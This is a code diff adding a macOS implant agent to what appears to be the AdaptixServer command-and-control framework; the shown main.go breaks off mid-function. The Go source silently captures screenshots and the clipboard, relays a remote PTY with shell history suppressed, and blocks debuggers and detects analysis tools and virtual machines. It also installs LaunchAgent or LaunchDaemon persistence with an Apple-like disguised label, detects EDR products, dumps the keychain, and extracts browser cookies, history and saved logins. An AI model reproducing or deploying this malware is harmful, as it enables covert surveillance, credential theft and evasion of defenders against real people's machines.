+ zipWriter := zip.NewWriter(buf) + + fileToZip, err := os.Open(srcFilePath) + if err != nil { + return nil, err + } + defer fileToZip.Close() + + info, err := fileToZip.Stat() + if err != nil { + return nil, err + } + + header, err := zip.FileInfoHeader(info) + if err != nil { + return nil, err + } + header.Name = filepath.Base(srcFilePath) + header.Method = zip.Deflate + + writer, err := zipWriter.CreateHeader(header) + if err != nil { + return nil, err + } + + _, err = io.Copy(writer, fileToZip) + if err != nil { + return nil, err + } + + if err := zipWriter.Close(); err != nil { + return nil, err + } + + return buf.Bytes(), nil +} + +func ZipDirectory(srcDir string) ([]byte, error) { + buf := new(bytes.Buffer) + zipWriter := zip.NewWriter(buf) + + err := filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error { + if err != nil { + return err + } + + relPath, err := filepath.Rel(srcDir, path) + if err != nil { + return err + } + if info.IsDir() { + if relPath == "." { + return nil + } + relPath += "/" + _, err = zipWriter.Create(relPath) + return err + } + + file, err := os.Open(path) + if err != nil { + return err + } + defer file.Close() + + header, err := zip.FileInfoHeader(info) + if err != nil { + return err + } + header.Name = relPath + header.Method = zip.Deflate + + writer, err := zipWriter.CreateHeader(header) + if err != nil { + return err + } + + _, err = io.Copy(writer, file) + return err + }) + if err != nil { + return nil, err + } + + if err := zipWriter.Close(); err != nil { + return nil, err + } + + return buf.Bytes(), nil +} + +/// SCREENS + +// Screenshots captures the screen using macOS native screencapture utility. +// Works without CGO. screencapture is a signed Apple binary — normal system activity. +func Screenshots() (map[int][]byte, error) { + result := make(map[int][]byte) + + tmpFile, err := os.CreateTemp("", "sc-*.png") + if err != nil { + return nil, err + } + tmpPath := tmpFile.Name() + tmpFile.Close() + defer os.Remove(tmpPath) + + // -x: no sound, -C: no cursor, -t png: PNG format + cmd := exec.Command("screencapture", "-x", "-C", "-t", "png", tmpPath) + cmd.Stdout = nil + cmd.Stderr = nil + if err := cmd.Run(); err != nil { + return nil, err + } + + data, err := os.ReadFile(tmpPath) + if err != nil { + return nil, err + } + if len(data) == 0 { + return nil, fmt.Errorf("empty screenshot") + } + + result[0] = data + return result, nil +} + +/// NET + +func ConnRead(conn net.Conn, size int) ([]byte, error) { + if size <= 0 { + return nil, fmt.Errorf("incorrected size: %d", size) + } + + message := make([]byte, 0, size) + tmpBuff := make([]byte, 1024) + readSize := 0 + + for readSize < size { + toRead := size - readSize + if toRead < len(tmpBuff) { + tmpBuff = tmpBuff[:toRead] + } + + n, err := conn.Read(tmpBuff) + if err != nil { + return nil, err + } + + message = append(message, tmpBuff[:n]...) + readSize += n + } + return message, nil +} + +func RecvMsg(conn net.Conn) ([]byte, error) { + bufLen, err := ConnRead(conn, 4) + if err != nil { + return nil, err + } + msgLen := binary.BigEndian.Uint32(bufLen) + + return ConnRead(conn, int(msgLen)) +} + +func SendMsg(conn net.Conn, data []byte) error { + if conn == nil { + return errors.New("conn is nil") + } + + msgLen := make([]byte, 4) + binary.BigEndian.PutUint32(msgLen, uint32(len(data))) + message := append(msgLen, data...) + _, err := conn.Write(message) + return err +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/functions/functions_darwin.go b/AdaptixServer/extenders/macos_agent/src_macos/functions/functions_darwin.go new file mode 100644 index 000000000..9cdbdeb2d --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/functions/functions_darwin.go @@ -0,0 +1,228 @@ +//go:build darwin +// +build darwin + +package functions + +import ( + "bufio" + "crypto/cipher" + "fmt" + "io" + "macos_agent/utils" + "os" + "os/exec" + "os/user" + "path/filepath" + "strconv" + "strings" + "syscall" + + "github.com/creack/pty" + + "howett.net/plist" +) + +func GetCP() (uint32, uint32) { + return 0, 0 +} + +func IsElevated() bool { + return os.Geteuid() == 0 +} + +func GetOsVersion() (string, error) { + f, err := os.Open(utils.StrSystemVersionPlist()) + if err != nil { + return utils.StrMacOS(), nil + } + defer f.Close() + + var data map[string]interface{} + decoder := plist.NewDecoder(f) + err = decoder.Decode(&data) + if err != nil { + return utils.StrMacOS(), nil + } + + version, ok := data[utils.StrProductVersion()].(string) + if !ok { + return utils.StrMacOS(), nil + } + + return fmt.Sprintf("%s %s", utils.StrMacOS(), version), nil +} + +func NormalizePath(relPath string) (string, error) { + if strings.HasPrefix(relPath, "~") { + usr, err := user.Current() + if err != nil { + return "", err + } + relPath = filepath.Join(usr.HomeDir, relPath[1:]) + } + path, err := filepath.Abs(relPath) + if err != nil { + return "", err + } + path = filepath.Clean(path) + return path, nil +} + +func buildFileInfo(path string, info os.FileInfo, displayName string) utils.FileInfo { + mode := info.Mode() + isLink := mode&os.ModeSymlink != 0 + + isDir := info.IsDir() + if isLink { + if targetInfo, err := os.Stat(path); err == nil { + isDir = targetInfo.IsDir() + } + } + + stat, ok := info.Sys().(*syscall.Stat_t) + var nlink uint64 = 1 + var uid, gid int + if ok { + nlink = uint64(stat.Nlink) + uid = int(stat.Uid) + gid = int(stat.Gid) + } + + username := fmt.Sprintf("%d", uid) + if u, err := user.LookupId(username); err == nil { + username = u.Username + } + group := fmt.Sprintf("%d", gid) + if g, err := user.LookupGroupId(group); err == nil { + group = g.Name + } + + return utils.FileInfo{ + Mode: mode.String(), + Nlink: int(nlink), + User: username, + Group: group, + Size: info.Size(), + Date: info.ModTime().Format("Jan _2 15:04"), + Filename: displayName, + IsDir: isDir, + } +} + +func GetListing(path string) ([]utils.FileInfo, error) { + var Files []utils.FileInfo + + pathInfo, err := os.Lstat(path) + if err != nil { + return Files, err + } + + if !pathInfo.IsDir() { + return []utils.FileInfo{buildFileInfo(path, pathInfo, filepath.Base(path))}, nil + } + + entries, err := os.ReadDir(path) + if err != nil { + return Files, err + } + + for _, entry := range entries { + fullPath := filepath.Join(path, entry.Name()) + info, err := os.Lstat(fullPath) + if err != nil { + return Files, err + } + + Files = append(Files, buildFileInfo(fullPath, info, entry.Name())) + } + return Files, nil +} + +// GetProcesses enumerates processes using macOS native ps(1). +// ps is a signed Apple binary — normal system activity, no CGO required. +func GetProcesses() ([]utils.PsInfo, error) { + out, err := exec.Command("ps", "-axo", "pid=,ppid=,tty=,user=,comm=").Output() + if err != nil { + return nil, err + } + + var Processes []utils.PsInfo + scanner := bufio.NewScanner(strings.NewReader(string(out))) + for scanner.Scan() { + line := strings.TrimSpace(scanner.Text()) + if line == "" { + continue + } + fields := strings.Fields(line) + if len(fields) < 5 { + continue + } + pid, _ := strconv.Atoi(fields[0]) + ppid, _ := strconv.Atoi(fields[1]) + tty := fields[2] + if tty == "??" { + tty = "" + } + username := fields[3] + process := strings.Join(fields[4:], " ") + + Processes = append(Processes, utils.PsInfo{ + Pid: pid, + Ppid: ppid, + Context: username, + Tty: tty, + Process: process, + }) + } + + return Processes, nil +} + +func ProcessSettings(cmd *exec.Cmd) {} + +func IsProcessRunning(cmd *exec.Cmd) bool { + if cmd.Process == nil { + return false + } + err := cmd.Process.Signal(syscall.Signal(0)) + if err != nil { + return false + } + return true +} + +func StartPtyCommand(process *exec.Cmd, columns uint16, rows uint16) (any, error) { + process.Env = append(os.Environ(), + utils.StrHistory(), utils.StrHistsize(), utils.StrHistsave(), + utils.StrHistzone(), utils.StrHistlog(), + utils.StrHistfile(), utils.StrHistfilesize(), + ) + windowSize := pty.Winsize{Rows: rows, Cols: columns} + + return pty.StartWithSize(process, &windowSize) +} + +func StopPty(Pipe any) error { + src := Pipe.(*os.File) + return src.Close() +} + +func RelayConnToPty(to any, from *cipher.StreamReader) { + pipe := to.(*os.File) + io.Copy(pipe, from) +} + +func RelayPtyToConn(to *cipher.StreamWriter, from any) { + pipe := from.(*os.File) + io.Copy(to, pipe) +} + +// GetClipboard reads the current clipboard contents using pbpaste (macOS native). +// pbpaste is a signed Apple binary — no TCC required, normal system activity. +func GetClipboard() (string, error) { + out, err := exec.Command("pbpaste").Output() + if err != nil { + return "", err + } + return string(out), nil +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/functions/opsec_darwin.go b/AdaptixServer/extenders/macos_agent/src_macos/functions/opsec_darwin.go new file mode 100644 index 000000000..0bc48b212 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/functions/opsec_darwin.go @@ -0,0 +1,161 @@ +//go:build darwin +// +build darwin + +package functions + +import ( + "macos_agent/utils" + "os" + "strings" + "syscall" + "unsafe" +) + +const ( + _CTL_KERN = 1 + _KERN_PROC = 14 + _KERN_PROC_PID = 1 + _P_TRACED = 0x00000800 + _PT_DENY_ATTACH = 31 + _SYS_PTRACE = 26 + _SYS_SYSCTL = 202 + _SYS_SYSCTLBYNAME = 274 +) + +const _KINFO_PROC_SIZE = 648 +const _P_FLAG_OFFSET = 32 + +// DenyDebugger calls ptrace(PT_DENY_ATTACH, 0, 0, 0) via raw syscall. +func DenyDebugger() { + syscall.Syscall6( + uintptr(_SYS_PTRACE), + uintptr(_PT_DENY_ATTACH), + 0, 0, 0, 0, 0, + ) +} + +// IsDebuggerPresent checks the P_TRACED flag via sysctl(KERN_PROC_PID). +func IsDebuggerPresent() bool { + var buf [_KINFO_PROC_SIZE]byte + size := uintptr(len(buf)) + + mib := [4]int32{_CTL_KERN, _KERN_PROC, _KERN_PROC_PID, int32(os.Getpid())} + + _, _, errno := syscall.Syscall6( + uintptr(_SYS_SYSCTL), + uintptr(unsafe.Pointer(&mib[0])), + 4, + uintptr(unsafe.Pointer(&buf[0])), + uintptr(unsafe.Pointer(&size)), + 0, + 0, + ) + if errno != 0 { + return false + } + + pFlag := *(*int32)(unsafe.Pointer(&buf[_P_FLAG_OFFSET])) + return pFlag&_P_TRACED != 0 +} + +// sysctlByName is a helper wrapping sysctlbyname via raw syscall. +func sysctlByName(name string) ([]byte, error) { + nameBytes := append([]byte(name), 0) + + var size uintptr + _, _, errno := syscall.Syscall6( + uintptr(_SYS_SYSCTLBYNAME), + uintptr(unsafe.Pointer(&nameBytes[0])), + 0, + uintptr(unsafe.Pointer(&size)), + 0, + 0, + 0, + ) + if errno != 0 || size == 0 { + return nil, errno + } + + buf := make([]byte, size) + _, _, errno = syscall.Syscall6( + uintptr(_SYS_SYSCTLBYNAME), + uintptr(unsafe.Pointer(&nameBytes[0])), + uintptr(unsafe.Pointer(&buf[0])), + uintptr(unsafe.Pointer(&size)), + 0, + 0, + 0, + ) + if errno != 0 { + return nil, errno + } + + if size > 0 && buf[size-1] == 0 { + size-- + } + return buf[:size], nil +} + +// GetHWModel returns the hardware model string via sysctlbyname. +func GetHWModel() string { + data, err := sysctlByName(utils.StrHwModel()) + if err != nil { + return "" + } + return string(data) +} + +// IsVirtualMachine checks hw.model for virtualization indicators. +func IsVirtualMachine() bool { + model := GetHWModel() + if model == "" { + return false + } + return strings.Contains(model, "Virtual") +} + +// IsSandboxed checks if the process is running inside an App Sandbox. +func IsSandboxed() bool { + return os.Getenv(utils.StrSandboxEnv()) != "" +} + +// IsSIPDisabled checks for SIP-disabled indicators via kern.bootargs. +func IsSIPDisabled() bool { + data, err := sysctlByName(utils.StrKernBootargs()) + if err != nil { + return false + } + return strings.Contains(string(data), utils.StrAmfiBypass()) +} + +// DetectAnalysisTools checks for the presence of common macOS reversing/analysis tools. +func DetectAnalysisTools() bool { + toolPaths := []string{ + utils.StrHopper(), + utils.StrIDA(), + utils.StrGhidra(), + utils.StrCharles(), + utils.StrProxyman(), + utils.StrWireshark(), + } + for _, p := range toolPaths { + if _, err := os.Stat(p); err == nil { + return true + } + } + return false +} + +// IsAnalysisEnvironment performs a combined check for analysis/debugging indicators. +func IsAnalysisEnvironment() bool { + if IsDebuggerPresent() { + return true + } + if IsVirtualMachine() { + return true + } + if IsSIPDisabled() { + return true + } + return false +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/functions/persist_darwin.go b/AdaptixServer/extenders/macos_agent/src_macos/functions/persist_darwin.go new file mode 100644 index 000000000..117e387c2 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/functions/persist_darwin.go @@ -0,0 +1,509 @@ +//go:build darwin +// +build darwin + +package functions + +import ( + "fmt" + "os" + "os/exec" + "os/user" + "path/filepath" + "strings" + + "howett.net/plist" +) + +// LaunchAgent/LaunchDaemon plist structure +type launchdPlist struct { + Label string `plist:"Label"` + ProgramArguments []string `plist:"ProgramArguments"` + RunAtLoad bool `plist:"RunAtLoad"` + KeepAlive bool `plist:"KeepAlive"` + StandardOutPath string `plist:"StandardOutPath,omitempty"` + StandardErrorPath string `plist:"StandardErrorPath,omitempty"` +} + +// PersistInstall creates a LaunchAgent or LaunchDaemon plist for persistence. +// method: "launchagent" or "launchdaemon" +// label: plist label, e.g. "com.apple.mdworker.local" +func PersistInstall(method, label string) (string, error) { + selfPath, err := os.Executable() + if err != nil { + return "", fmt.Errorf("cannot resolve self path: %w", err) + } + + var dir string + switch method { + case "launchagent": + usr, err := user.Current() + if err != nil { + return "", err + } + dir = filepath.Join(usr.HomeDir, "Library", "LaunchAgents") + case "launchdaemon": + if os.Geteuid() != 0 { + return "", fmt.Errorf("launchdaemon requires root privileges") + } + dir = "/Library/LaunchDaemons" + default: + return "", fmt.Errorf("unknown persistence method: %s", method) + } + + if err := os.MkdirAll(dir, 0755); err != nil { + return "", fmt.Errorf("cannot create directory %s: %w", dir, err) + } + + plistPath := filepath.Join(dir, label+".plist") + + data := launchdPlist{ + Label: label, + ProgramArguments: []string{selfPath}, + RunAtLoad: true, + KeepAlive: true, + } + + buf, err := plist.MarshalIndent(data, plist.XMLFormat, "\t") + if err != nil { + return "", fmt.Errorf("cannot marshal plist: %w", err) + } + + if err := os.WriteFile(plistPath, buf, 0644); err != nil { + return "", fmt.Errorf("cannot write plist: %w", err) + } + + // Load the plist immediately via launchctl + _ = exec.Command("launchctl", "load", "-w", plistPath).Run() + + return fmt.Sprintf("Persistence installed: %s\nPlist: %s\nBinary: %s", method, plistPath, selfPath), nil +} + +// PersistRemove removes a LaunchAgent or LaunchDaemon persistence. +func PersistRemove(method, label string) (string, error) { + var dir string + switch method { + case "launchagent": + usr, err := user.Current() + if err != nil { + return "", err + } + dir = filepath.Join(usr.HomeDir, "Library", "LaunchAgents") + case "launchdaemon": + dir = "/Library/LaunchDaemons" + default: + return "", fmt.Errorf("unknown persistence method: %s", method) + } + + plistPath := filepath.Join(dir, label+".plist") + + if _, err := os.Stat(plistPath); os.IsNotExist(err) { + return "", fmt.Errorf("plist not found: %s", plistPath) + } + + // Unload first + _ = exec.Command("launchctl", "unload", "-w", plistPath).Run() + + if err := os.Remove(plistPath); err != nil { + return "", fmt.Errorf("cannot remove plist: %w", err) + } + + return fmt.Sprintf("Persistence removed: %s\nDeleted: %s", method, plistPath), nil +} + +// PersistStatus checks if any known persistence plists exist. +func PersistStatus() (string, error) { + usr, err := user.Current() + if err != nil { + return "", err + } + + selfPath, _ := os.Executable() + var results []string + + // Check LaunchAgents + agentDir := filepath.Join(usr.HomeDir, "Library", "LaunchAgents") + results = append(results, checkPlistDir(agentDir, selfPath, "LaunchAgent")...) + + // Check LaunchDaemons (if readable) + daemonDir := "/Library/LaunchDaemons" + results = append(results, checkPlistDir(daemonDir, selfPath, "LaunchDaemon")...) + + if len(results) == 0 { + return "No persistence found for this agent", nil + } + return strings.Join(results, "\n"), nil +} + +func checkPlistDir(dir, selfPath, ptype string) []string { + var results []string + entries, err := os.ReadDir(dir) + if err != nil { + return results + } + + for _, entry := range entries { + if !strings.HasSuffix(entry.Name(), ".plist") { + continue + } + path := filepath.Join(dir, entry.Name()) + f, err := os.Open(path) + if err != nil { + continue + } + var data launchdPlist + decoder := plist.NewDecoder(f) + err = decoder.Decode(&data) + f.Close() + if err != nil { + continue + } + + for _, arg := range data.ProgramArguments { + if arg == selfPath { + status := "loaded" + // Check if actually loaded via launchctl + out, err := exec.Command("launchctl", "list", data.Label).Output() + if err != nil || len(out) == 0 { + status = "installed (not loaded)" + } + results = append(results, fmt.Sprintf("[%s] %s — %s (%s)", ptype, data.Label, path, status)) + break + } + } + } + return results +} + +// TccCheck probes TCC permissions by attempting to access protected resources. +func TccCheck() (string, error) { + var results []string + + // Full Disk Access — try reading TCC.db + tccPath := "/Library/Application Support/com.apple.TCC/TCC.db" + if _, err := os.Open(tccPath); err == nil { + results = append(results, "[+] Full Disk Access: GRANTED") + } else { + results = append(results, "[-] Full Disk Access: DENIED") + } + + // Screen Recording — try screencapture + tmpFile, err := os.CreateTemp("", "tcc-*.png") + if err == nil { + tmpPath := tmpFile.Name() + tmpFile.Close() + defer os.Remove(tmpPath) + cmd := exec.Command("screencapture", "-x", "-t", "png", tmpPath) + if err := cmd.Run(); err != nil { + results = append(results, "[-] Screen Recording: DENIED or unavailable") + } else { + info, _ := os.Stat(tmpPath) + if info != nil && info.Size() > 0 { + results = append(results, "[+] Screen Recording: GRANTED") + } else { + results = append(results, "[-] Screen Recording: DENIED") + } + } + } + + // Accessibility — no reliable probe without CGO (CGEventTap needs it) + results = append(results, "[?] Accessibility: cannot probe without CGO") + + // Camera + out, err := exec.Command("system_profiler", "SPCameraDataType").Output() + if err == nil && len(out) > 0 { + results = append(results, "[?] Camera: hardware detected (permission untested)") + } + + // Clipboard — always available, no TCC + results = append(results, "[+] Clipboard: no TCC required") + + return strings.Join(results, "\n"), nil +} + +// DefaultsRead reads macOS defaults for a given domain. +func DefaultsRead(domain string) (string, error) { + var cmd *exec.Cmd + if domain == "" || domain == "all" { + cmd = exec.Command("defaults", "read") + } else { + cmd = exec.Command("defaults", "read", domain) + } + out, err := cmd.CombinedOutput() + if err != nil { + return "", fmt.Errorf("%s\n%s", err.Error(), string(out)) + } + return string(out), nil +} + +// EdrCheck detects known EDR/security products on macOS. +func EdrCheck() (string, error) { + var results []string + + // Known EDR process names + edrProcesses := map[string]string{ + "falcond": "CrowdStrike Falcon", + "falconctl": "CrowdStrike Falcon", + "SentinelAgent": "SentinelOne", + "sentineld": "SentinelOne", + "JamfProtect": "Jamf Protect", + "JamfDaemon": "Jamf Pro", + "jamfAgent": "Jamf Pro", + "CbOsxSensorService": "Carbon Black", + "CbDefense": "Carbon Black", + "EndpointSecurityClient": "macOS Endpoint Security (generic)", + "MicrosoftDefender": "Microsoft Defender", + "com.microsoft.dlp.daemon": "Microsoft DLP", + } + + // Get running processes + psOut, err := exec.Command("ps", "-axo", "comm=").Output() + if err != nil { + return "", fmt.Errorf("cannot enumerate processes: %w", err) + } + + foundEdr := make(map[string]bool) + for _, line := range strings.Split(string(psOut), "\n") { + proc := strings.TrimSpace(filepath.Base(line)) + if product, ok := edrProcesses[proc]; ok { + if !foundEdr[product] { + foundEdr[product] = true + results = append(results, fmt.Sprintf("[!] %s detected (process: %s)", product, proc)) + } + } + } + + // System Extensions + sysExtOut, err := exec.Command("systemextensionsctl", "list").CombinedOutput() + if err == nil { + for _, line := range strings.Split(string(sysExtOut), "\n") { + line = strings.TrimSpace(line) + if strings.Contains(line, "enabled") || strings.Contains(line, "activated") { + results = append(results, fmt.Sprintf("[*] System Extension: %s", line)) + } + } + } + + // Network Extensions (profiles) + profOut, err := exec.Command("profiles", "list").CombinedOutput() + if err == nil && len(profOut) > 10 { + results = append(results, fmt.Sprintf("[*] Configuration profiles installed (%d bytes output)", len(profOut))) + } + + if len(results) == 0 { + return "No known EDR/security products detected", nil + } + + return strings.Join(results, "\n"), nil +} + +// KeychainList lists keychain entries using the security CLI. +func KeychainList() (string, error) { + out, err := exec.Command("security", "list-keychains").CombinedOutput() + if err != nil { + return "", fmt.Errorf("security list-keychains failed: %s", string(out)) + } + + result := "Keychains:\n" + string(out) + "\n" + + // Try to dump generic passwords (will prompt on macOS if not authorized) + dumpOut, err := exec.Command("security", "dump-keychain").CombinedOutput() + if err == nil { + // Count entries + count := strings.Count(string(dumpOut), "keychain:") + result += fmt.Sprintf("Keychain entries: %d\n", count) + // Only include first 8KB to avoid overwhelming output + if len(dumpOut) > 8192 { + result += string(dumpOut[:8192]) + "\n... (truncated)" + } else { + result += string(dumpOut) + } + } else { + result += "dump-keychain: access denied or requires authorization" + } + + return result, nil +} + +// KeychainDump attempts to dump keychain entries with more detail. +func KeychainDump() (string, error) { + out, err := exec.Command("security", "dump-keychain", "-d").CombinedOutput() + if err != nil { + // -d flag may cause password prompts; fallback without -d + out, err = exec.Command("security", "dump-keychain").CombinedOutput() + if err != nil { + return "", fmt.Errorf("security dump-keychain failed: %s", string(out)) + } + } + if len(out) > 32768 { + return string(out[:32768]) + "\n... (truncated at 32KB)", nil + } + return string(out), nil +} + +// BrowserDumpChrome collects Chrome browser data (cookies, history, login data). +func BrowserDumpChrome(target string) (string, error) { + usr, err := user.Current() + if err != nil { + return "", err + } + + chromeDir := filepath.Join(usr.HomeDir, "Library", "Application Support", "Google", "Chrome", "Default") + if _, err := os.Stat(chromeDir); os.IsNotExist(err) { + return "", fmt.Errorf("Chrome profile not found: %s", chromeDir) + } + + var targetFile string + switch target { + case "cookies": + targetFile = filepath.Join(chromeDir, "Cookies") + case "history": + targetFile = filepath.Join(chromeDir, "History") + case "logins": + targetFile = filepath.Join(chromeDir, "Login Data") + default: + // List available files + var files []string + entries, _ := os.ReadDir(chromeDir) + for _, e := range entries { + if !e.IsDir() { + info, _ := e.Info() + if info != nil { + files = append(files, fmt.Sprintf(" %s (%s)", e.Name(), formatSize(info.Size()))) + } + } + } + return fmt.Sprintf("Chrome profile: %s\nFiles:\n%s\n\nUse: browser_dump chrome cookies|history|logins", chromeDir, strings.Join(files, "\n")), nil + } + + if _, err := os.Stat(targetFile); os.IsNotExist(err) { + return "", fmt.Errorf("file not found: %s", targetFile) + } + + // SQLite databases — try to read with sqlite3 CLI + var out []byte + switch target { + case "cookies": + out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on", + "SELECT host_key, name, path, expires_utc, is_secure, is_httponly FROM cookies LIMIT 100;").CombinedOutput() + case "history": + out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on", + "SELECT url, title, visit_count, datetime(last_visit_time/1000000-11644473600,'unixepoch') as last_visit FROM urls ORDER BY last_visit_time DESC LIMIT 100;").CombinedOutput() + case "logins": + out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on", + "SELECT origin_url, username_value, length(password_value) as pwd_len FROM logins LIMIT 100;").CombinedOutput() + } + + if err != nil { + return "", fmt.Errorf("sqlite3 query failed: %s\n%s", err.Error(), string(out)) + } + + if len(out) == 0 { + return fmt.Sprintf("No data found in %s", target), nil + } + + return fmt.Sprintf("Chrome %s (top 100):\n%s", target, string(out)), nil +} + +// BrowserDumpFirefox collects Firefox browser data. +func BrowserDumpFirefox(target string) (string, error) { + usr, err := user.Current() + if err != nil { + return "", err + } + + ffDir := filepath.Join(usr.HomeDir, "Library", "Application Support", "Firefox", "Profiles") + if _, err := os.Stat(ffDir); os.IsNotExist(err) { + return "", fmt.Errorf("Firefox profiles not found: %s", ffDir) + } + + // Find the default profile (*.default-release or *.default) + entries, err := os.ReadDir(ffDir) + if err != nil { + return "", err + } + + var profileDir string + for _, e := range entries { + if e.IsDir() && (strings.HasSuffix(e.Name(), ".default-release") || strings.HasSuffix(e.Name(), ".default")) { + profileDir = filepath.Join(ffDir, e.Name()) + break + } + } + + if profileDir == "" { + // List all profiles + var profiles []string + for _, e := range entries { + if e.IsDir() { + profiles = append(profiles, " "+e.Name()) + } + } + return fmt.Sprintf("Firefox profiles found:\n%s\nNo default profile detected", strings.Join(profiles, "\n")), nil + } + + var targetFile string + switch target { + case "cookies": + targetFile = filepath.Join(profileDir, "cookies.sqlite") + case "history": + targetFile = filepath.Join(profileDir, "places.sqlite") + case "logins": + targetFile = filepath.Join(profileDir, "logins.json") + default: + var files []string + fentries, _ := os.ReadDir(profileDir) + for _, e := range fentries { + if !e.IsDir() { + info, _ := e.Info() + if info != nil { + files = append(files, fmt.Sprintf(" %s (%s)", e.Name(), formatSize(info.Size()))) + } + } + } + return fmt.Sprintf("Firefox profile: %s\nFiles:\n%s\n\nUse: browser_dump firefox cookies|history|logins", profileDir, strings.Join(files, "\n")), nil + } + + if _, err := os.Stat(targetFile); os.IsNotExist(err) { + return "", fmt.Errorf("file not found: %s", targetFile) + } + + if target == "logins" { + // logins.json — just read it + data, err := os.ReadFile(targetFile) + if err != nil { + return "", err + } + if len(data) > 16384 { + return string(data[:16384]) + "\n... (truncated)", nil + } + return string(data), nil + } + + // SQLite databases + var out []byte + switch target { + case "cookies": + out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on", + "SELECT host, name, path, expiry, isSecure, isHttpOnly FROM moz_cookies LIMIT 100;").CombinedOutput() + case "history": + out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on", + "SELECT url, title, visit_count, datetime(last_visit_date/1000000,'unixepoch') as last_visit FROM moz_places ORDER BY last_visit_date DESC LIMIT 100;").CombinedOutput() + } + + if err != nil { + return "", fmt.Errorf("sqlite3 query failed: %s\n%s", err.Error(), string(out)) + } + + return fmt.Sprintf("Firefox %s (top 100):\n%s", target, string(out)), nil +} + +func formatSize(bytes int64) string { + const ( + KB = 1024.0 + MB = KB * 1024 + ) + if float64(bytes) >= MB { + return fmt.Sprintf("%.1f MB", float64(bytes)/MB) + } + return fmt.Sprintf("%.1f KB", float64(bytes)/KB) +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/go.mod b/AdaptixServer/extenders/macos_agent/src_macos/go.mod new file mode 100644 index 000000000..f0e7e56c9 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/go.mod @@ -0,0 +1,11 @@ +module macos_agent + +go 1.25.4 + +require ( + github.com/creack/pty v1.1.24 + github.com/vmihailenco/msgpack/v5 v5.4.1 + howett.net/plist v1.0.1 +) + +require github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect diff --git a/AdaptixServer/extenders/macos_agent/src_macos/go.sum b/AdaptixServer/extenders/macos_agent/src_macos/go.sum new file mode 100644 index 000000000..17b6cced1 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/go.sum @@ -0,0 +1,19 @@ +github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s= +github.com/creack/pty v1.1.24/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE= +github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0= +github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8= +github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok= +github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g= +github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v1 v1.0.0-20140924161607-9f9df34309c0/go.mod h1:WDnlLJ4WF5VGsH/HVa3CI79GS0ol3YnhVnKP89i0kNg= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +howett.net/plist v1.0.1 h1:37GdZ8tP09Q35o9ych3ehygcsL+HqKSwzctveSlarvM= +howett.net/plist v1.0.1/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g= diff --git a/AdaptixServer/extenders/macos_agent/src_macos/main.go b/AdaptixServer/extenders/macos_agent/src_macos/main.go new file mode 100644 index 000000000..7ce7bd110 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/main.go @@ -0,0 +1,238 @@ +package main + +import ( + "crypto/rand" + "crypto/tls" + "crypto/x509" + "encoding/binary" + "macos_agent/functions" + "macos_agent/utils" + "net" + "os" + "os/user" + "path/filepath" + "runtime" + "time" + + "github.com/vmihailenco/msgpack/v5" +) + +var ACTIVE = true + +func CreateInfo() ([]byte, []byte) { + var ( + addr []net.Addr + username string + ip string + ) + + path, err := os.Executable() + if err == nil { + path = filepath.Base(path) + } + + userCurrent, err := user.Current() + if err == nil { + username = userCurrent.Username + } + + host, _ := os.Hostname() + + osVersion, _ := functions.GetOsVersion() + + addr, err = net.InterfaceAddrs() + if err == nil { + for _, a := range addr { + ipnet, ok := a.(*net.IPNet) + if ok && !ipnet.IP.IsLoopback() && !ipnet.IP.IsLinkLocalUnicast() && ipnet.IP.To4() != nil { + ip = ipnet.IP.String() + } + } + } + + acp, oemcp := functions.GetCP() + + randKey 